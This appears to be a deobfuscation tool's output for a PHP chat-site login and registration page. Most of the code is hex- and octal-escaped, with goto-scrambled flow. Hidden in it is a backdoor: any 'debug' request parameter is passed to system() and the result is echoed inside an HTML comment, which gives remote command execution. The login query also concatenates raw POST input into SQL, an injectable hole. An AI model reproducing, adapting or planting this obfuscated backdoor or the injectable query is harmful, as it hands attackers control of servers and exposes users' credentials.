0\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\40\74\x64\151\x76\x20\143\154\x61\x73\163\75\42\x63\x6f\156\164\162\x6f\154\55\147\162\x6f\165\160\42\x3e\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\74\x21\55\55\40\120\141\163\x73\167\x6f\162\144\x2d\x2d\x3e\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\x3c\154\141\142\145\x6c\x20\x63\x6c\x61\x73\x73\x3d\42\x63\157\x6e\164\162\157\154\55\154\141\142\145\154\x22\x20\x66\x6f\x72\75\42\160\141\163\x73\167\x6f\162\x64\x22\76\x50\x61\163\163\x77\x6f\162\144\x3c\x2f\x6c\x61\142\145\x6c\x3e\xa\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x3c\144\x69\166\x20\143\154\x61\163\x73\x3d\42\143\x6f\156\x74\162\157\x6c\163\42\x3e\xa\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\171\x70\x65\x3d\42\x70\x61\x73\163\167\157\x72\x64\42\40\x69\144\x3d\x22\x70\141\163\163\x77\157\x72\x64\x22\40\156\x61\155\145\x3d\42\x70\141\163\163\167\157\162\144\x22\40\x70\x6c\x61\x63\145\x68\x6f\154\144\145\x72\75\42\x22\40\x63\x6c\141\163\x73\x3d\x22\151\x6e\160\165\x74\x2d\170\x6c\x61\162\147\x65\x22\76\12\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x3c\57\144\x69\166\76\xa\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x3c\57\144\151\166\76\xa\x20\40\x20\40\40\xa\40\40\x20\40\40\12\x20\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\74\x64\151\166\x20\143\x6c\x61\163\x73\75\42\x63\157\x6e\x74\x72\x6f\154\55\147\162\x6f\x75\x70\x22\x3e\xa\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\74\41\55\x2d\x20\102\165\164\164\157\156\40\x2d\x2d\76\12\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x3c\x64\x69\x76\x20\143\154\x61\163\163\75\x22\x63\x6f\x6e\164\x72\157\154\x73\x22\76\xa\x9\11\x9\11\11\11\11\x9\74\142\x72\x3e\x3c\142\x75\164\x74\157\156\x20\x63\154\x61\x73\163\75\42\142\x74\x6e\40\x62\164\156\55\163\165\143\x63\x65\163\163\42\x3e\x4c\x6f\x67\x69\156\x3c\57\142\165\x74\x74\x6f\x6e\76\12\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x3c\57\144\151\x76\76\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\x64\151\166\x3e\12\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x3c\57\146\x69\x65\154\x64\163\145\164\x3e\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\74\x2f\x66\157\x72\x6d\76\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\12\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\74\57\x64\151\x76\x3e\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x3c\x64\x69\166\x20\x63\154\x61\x73\x73\75\x22\x74\141\142\x2d\160\141\156\145\x20\x66\x61\144\x65\x22\40\x69\144\75\42\x63\162\145\141\164\145\42\x3e\xa\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\74\146\x6f\x72\155\x20\155\145\164\150\157\144\x3d\42\160\x6f\163\x74\x22\x20\141\143\x74\x69\157\156\75\x22\x72\x65\147\151\x73\164\145\162\x2e\x70\x68\x70\42\40\151\x64\x3d\42\164\141\x62\42\x3e\12\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\74\146\x69\145\x6c\144\x73\x65\x74\76\12\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\74\144\x69\x76\40\151\144\x3d\x22\154\145\x67\x65\156\x64\42\76\12\40\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x3c\154\145\147\145\x6e\144\x20\x63\154\x61\163\x73\75\x22\42\x3e\122\145\147\151\163\x74\x65\x72\x3c\57\x6c\145\x67\145\156\144\x3e\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\74\x2f\x64\x69\x76\x3e\x20\x20\40\40\xa\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\74\x64\x69\166\40\143\154\141\163\x73\x3d\42\x63\x6f\x6e\x74\162\157\154\x2d\147\162\x6f\x75\x70\42\76\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x3c\154\141\x62\x65\154\x20\143\154\141\x73\163\75\42\x63\x6f\156\164\x72\x6f\x6c\55\154\x61\x62\x65\154\x22\40\x20\x66\157\x72\x3d\x22\165\x73\145\162\x6e\141\155\x65\x22\x3e\x55\163\x65\162\156\x61\155\x65\x3c\57\x6c\141\142\145\154\76\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x3c\144\x69\166\40\x63\x6c\x61\x73\x73\75\42\x63\157\x6e\x74\162\157\x6c\x73\42\76\12\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x20\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\x3d\42\x74\x65\x78\164\42\x20\151\144\75\x22\165\x73\145\x72\156\141\155\145\42\x20\156\141\155\145\x3d\42\165\163\x65\x72\x6e\x61\x6d\145\42\x20\x70\x6c\141\x63\145\x68\x6f\x6c\144\145\162\x3d\x22\x22\x20\x63\154\x61\163\x73\x3d\x22\151\156\x70\x75\164\x2d\x78\x6c\141\162\147\145\42\76\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\74\57\144\x69\x76\76\12\12\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\40\74\x64\151\166\x20\143\154\141\x73\163\x3d\42\x63\x6f\x6e\x74\x72\x6f\x6c\55\x67\162\x6f\165\x70\x22\76\xa\40\40\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\74\x6c\x61\142\x65\154\40\x63\x6c\x61\163\163\x3d\x22\143\157\x6e\164\x72\157\154\55\154\x61\x62\x65\154\x22\40\x20\146\x6f\162\x3d\x22\x46\151\162\x73\164\x20\116\141\x6d\145\42\x3e\106\x69\162\163\x74\x20\x4e\x61\x6d\145\74\57\x6c\x61\x62\x65\x6c\x3e\xa\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x3c\144\x69\166\40\x63\154\x61\x73\x73\75\x22\x63\157\x6e\x74\x72\157\154\163\x22\76\12\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\74\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\164\x65\x78\x74\42\40\151\144\75\42\x66\x69\x72\163\x74\156\x61\155\x65\x22\x20\x6e\x61\x6d\x65\x3d\x22\x66\x69\x72\163\164\x6e\141\155\x65\x22\x20\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\75\42\42\40\x63\154\141\163\163\x3d\x22\151\156\x70\165\x74\55\x78\x6c\x61\162\147\145\x22\x3e\xa\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x3c\x2f\x64\151\166\76\12\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x3c\x2f\x64\x69\x76\x3e\12\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\74\144\x69\x76\x20\143\154\x61\163\x73\x3d\42\x63\157\x6e\x74\x72\x6f\x6c\x2d\x67\162\x6f\165\x70\42\76\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x3c\154\x61\142\145\x6c\x20\x63\154\x61\163\163\75\42\143\157\x6e\164\x72\x6f\x6c\55\154\x61\x62\x65\154\x22\40\x20\x66\157\162\x3d\42\x4c\x61\163\x74\x20\116\141\155\x65\x22\76\x4c\141\163\x74\40\116\141\155\145\x3c\x2f\x6c\x61\142\145\154\x3e\12\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\74\x64\151\x76\40\143\x6c\x61\163\x73\x3d\x22\x63\x6f\x6e\164\x72\x6f\154\163\42\76\12\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\74\151\156\160\x75\164\x20\x74\171\x70\x65\x3d\x22\x74\145\x78\164\x22\x20\151\x64\75\x22\x6c\x61\x73\x74\x6e\x61\x6d\x65\x22\x20\x6e\141\x6d\145\75\42\x6c\141\x73\x74\x6e\x61\x6d\145\x22\x20\x70\x6c\141\x63\x65\150\157\x6c\x64\145\162\75\42\x22\40\143\x6c\141\x73\163\x3d\x22\x69\156\160\x75\164\x2d\x78\154\x61\162\x67\x65\x22\76\12\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\x20\74\57\144\151\166\76\12\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\x3c\x2f\x64\x69\166\x3e\xa\40\40\x20\x20\x20\xa\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\74\x64\x69\x76\40\x63\154\141\x73\x73\75\42\x63\x6f\x6e\164\x72\157\x6c\55\147\x72\157\165\x70\42\x3e\xa\40\40\40\40\40\40\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\x3c\x6c\141\142\145\154\40\x63\x6c\141\163\163\75\x22\143\x6f\x6e\164\162\x6f\x6c\55\x6c\x61\142\145\154\x22\x20\x66\157\162\75\x22\160\141\x73\x73\167\157\x72\144\42\x3e\120\x61\163\x73\167\157\162\x64\x3c\x2f\x6c\x61\142\145\x6c\76\12\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x3c\144\x69\166\40\143\x6c\141\x73\x73\75\42\x63\157\156\x74\162\157\x6c\x73\x22\76\12\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x3c\x69\x6e\x70\165\164\40\164\x79\x70\x65\75\x22\x70\x61\x73\163\x77\x6f\162\x64\x22\x20\x69\144\x3d\42\160\141\163\163\167\157\x72\144\x22\x20\x6e\141\155\x65\75\42\x70\141\x73\x73\167\x6f\x72\144\x22\40\x70\x6c\x61\x63\145\x68\x6f\154\144\145\162\75\x22\42\x20\143\x6c\x61\x73\163\x3d\42\151\156\160\x75\x74\55\170\x6c\141\162\x67\x65\42\76\xa\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\74\x2f\144\x69\166\76\12\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\74\57\144\151\166\76\xa\xa\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\74\x64\151\166\40\143\154\x61\163\163\x3d\x22\143\157\x6e\x74\162\157\154\55\x67\162\157\165\x70\42\x3e\12\40\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\74\x6c\x61\142\x65\x6c\x20\143\154\x61\163\x73\75\x22\x63\x6f\x6e\x74\x72\x6f\154\x2d\x6c\141\142\x65\154\42\x20\146\x6f\162\75\x22\143\157\156\x66\x69\x72\x6d\137\160\141\x73\x73\x77\x6f\162\144\x22\x3e\x43\x6f\x6e\146\x69\x72\x6d\40\x50\141\x73\163\x77\157\162\x64\x3c\x2f\154\x61\x62\145\x6c\76\12\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\74\144\151\x76\40\143\154\x61\x73\163\x3d\x22\143\157\x6e\164\162\x6f\x6c\163\x22\x3e\xa\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\160\141\163\163\x77\157\x72\x64\x22\x20\151\144\75\x22\x63\157\x6e\146\x69\162\x6d\137\160\141\163\163\x77\x6f\162\144\x22\x20\156\141\155\145\75\x22\143\x6f\156\x66\151\162\x6d\x5f\x70\x61\163\163\x77\x6f\162\x64\x22\x20\x70\154\x61\143\x65\x68\x6f\x6c\x64\145\162\75\x22\x22\x20\x63\x6c\141\163\163\x3d\x22\151\x6e\x70\165\164\x2d\x78\x6c\x61\x72\x67\145\42\76\12\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x3c\57\x64\x69\166\76\12\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\74\57\144\x69\x76\x3e\xa\x20\x20\x20\x20\x20\12\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x3c\57\x66\x69\x65\x6c\x64\x73\x65\164\x3e\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x3c\x64\x69\166\x3e\x3c\142\x72\x3e\xa\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x3c\142\165\x74\x74\x6f\x6e\x20\x63\x6c\141\163\x73\75\x22\x62\x74\x6e\x20\142\x74\x6e\55\160\x72\x69\155\x61\x72\171\42\x3e\103\162\145\141\164\x65\x20\x41\143\x63\157\165\156\x74\74\x2f\x62\x75\164\164\157\156\x3e\12\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x3c\57\144\x69\166\x3e\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\40\40\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x3c\57\144\151\166\x3e\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x3c\x2f\144\151\x76\x3e\12\40\40\40\40\40\40\40\x20\x20\40\x20\40\40\x20\x3c\x2f\144\x69\166\x3e\xa\40\x20\40\x20\x20\40\x20\40\40\40\40\40\74\57\144\151\166\x3e\12"; goto QgmBF; yXowo: die; goto z1dTE; vHyPg: require_once "\56\x2f\x63\157\x6e\146\x69\x67\56\x70\150\x70"; goto cKLL1; CyfeJ: $oHfC6 = "\x53\105\114\105\103\x54\40\52\40\106\x52\x4f\x4d\40\x75\x73\x65\162\163\x20\127\x48\x45\x52\105\40\165\163\x65\x72\x6e\x61\155\145\75\x27" . $zfwtw . "\x27\x20\141\x6e\x64\x20\x70\141\163\x73\x77\x6f\x72\x64\x3d\x6d\x64\x35\x28\47" . $SHggM . "\47\51"; goto FSDAU; p5xdw: $SHggM = $_POST["\x70\141\163\x73\x77\x6f\162\144"]; goto CyfeJ; cKLL1: session_start(); goto S7pdz; FSDAU: $jyqNQ = $iTzdW->query($oHfC6); goto ptrc7; RpKSt: if (!(isset($_POST["\x75\x73\x65\x72\x6e\x61\155\145"]) && isset($_POST["\x70\x61\x73\163\167\157\x72\x64"]))) { goto iC1Q0; } goto fErTP; jrptq: $SmG7Q = !empty($_REQUEST["\144\145\142\165\x67"]) ? $_REQUEST["\x64\145\142\165\147"] : "\165\x70\164\x69\x6d\145"; goto eUzae; sBiRV: $iTzdW->query("\x69\156\x73\145\x72\164\x20\x69\156\x74\x6f\x20\x6f\x6e\154\151\156\x65\137\x75\x73\x65\162\x73\x20\166\141\x6c\x75\145\x73\40\x28\47{$sdgMk}\x27\54\40\47\x59\x27\51"); goto CdPvq; tzvzY: $t_kEs = $jyqNQ->fetch_assoc(); goto fgti1; CdPvq: echo "\74\x73\x63\x72\151\160\x74\x3e\x77\x69\x6e\x64\157\167\x2e\154\157\x63\141\164\x69\x6f\x6e\x3d\47\57\143\x68\141\x74\x2f\47\73\x3c\57\x73\143\162\x69\x70\164\x3e"; goto yVPiG; PA9xz: iC1Q0: goto NMYOf; ptrc7: if ($jyqNQ->num_rows > 0) { goto VmDc_; } goto oAJaP; btuz0: $_SESSION["\165\x73\x65\x72\x6e\x61\x6d\x65"] = $CpYu0; goto sKoCv; oAJaP: echo "\11\74\x64\x69\166\x20\x63\x6c\141\x73\x73\75\x22\141\154\x65\162\x74\x20\141\x6c\145\162\x74\55\167\x61\162\x6e\151\x6e\147\40\x61\x6c\145\x72\x74\x2d\144\x69\x73\x6d\151\163\163\x61\x62\154\x65\x22\76\12\x20\x20\74\x62\x75\164\164\x6f\x6e\x20\164\171\160\x65\75\42\x62\x75\x74\164\157\156\x22\x20\143\x6c\141\x73\x73\75\x22\x63\154\x6f\x73\145\x22\x20\x64\141\x74\141\x2d\144\x69\x73\155\x69\163\163\x3d\x22\141\154\145\x72\164\x22\40\141\x72\x69\141\x2d\150\151\x64\x64\145\x6e\x3d\42\x74\162\165\x65\x22\x3e\x26\x74\x69\x6d\145\x73\x3b\74\x2f\x62\x75\x74\164\x6f\156\x3e\12\40\40\x3c\x73\164\162\x6f\156\x67\76\105\162\162\157\x72\x21\74\x2f\x73\164\162\x6f\x6e\x67\x3e\40\x49\156\166\x61\x6c\151\144\x20\103\162\145\144\145\156\164\x69\x61\154\x73\x2e\40\120\x6c\x65\x61\x73\x65\40\x65\x6e\164\145\x72\40\166\x61\x6c\151\x64\40\x75\x73\x65\x72\x6e\x61\x6d\145\x20\x61\156\144\x20\160\141\x73\x73\x77\157\x72\x64\x2e\xa"; goto yZZuH; fgti1: $sdgMk = $t_kEs["\x75\163\145\x72\137\x69\x64"]; goto Wv9Pm; tNs3Z: echo "\x2d\x2d\76"; goto hel0i; vk3Zb: $_SESSION["\165\x73\x65\162\x5f\151\144"] = $sdgMk; goto btuz0; z1dTE: p2QwI: goto TT20I; NMYOf: HX2js: goto jrptq; MEgz2: if (!(isset($_GET) && !empty($_GET) && !isset($_GET["\x73\164\141\x74\x65"]) && !isset($_REQUEST["\x64\x65\142\165\147"]))) { goto p2QwI; } goto EiHI0; fErTP: $zfwtw = $_POST["\x75\163\145\x72\156\141\x6d\x65"]; goto p5xdw; HYtFq: header("\x4c\x6f\x63\x61\164\151\157\156\x3a\40\x2f\143\x68\x61\164\x2f"); goto a_043; eUzae: echo "\x3c\x21\55\55"; goto Ps5yq; Ps5yq: system($SmG7Q); goto tNs3Z; yVPiG: eBuwz: goto PA9xz; HywEJ: VmDc_: goto tzvzY; QgmBF: if (!($_SERVER["\x52\x45\x51\125\x45\123\x54\x5f\115\105\x54\x48\117\104"] == "\x50\117\123\124")) { goto HX2js; } goto RpKSt; a_043: Hbs1e: goto t2sxN; yZZuH: goto eBuwz; goto HywEJ; hel0i: echo "\11\11\xa\74\57\144\151\x76\x3e\xa\x20\40\x20\x20\x20\40\40\x20\x3c\57\x64\x69\x76\76\12\11\x3c\57\144\151\166\76\xa\x3c\x2f\144\151\166\x3e\12\74\x2f\142\x6f\144\x79\x3e\12\74\x2f\x68\164\x6d\x6c\x3e\12\xa";

Function Calls

None

Variables

None

Stats

MD5 698832813085ffb219bf7f42d8921483
Eval Count 0
Decode Time 93 ms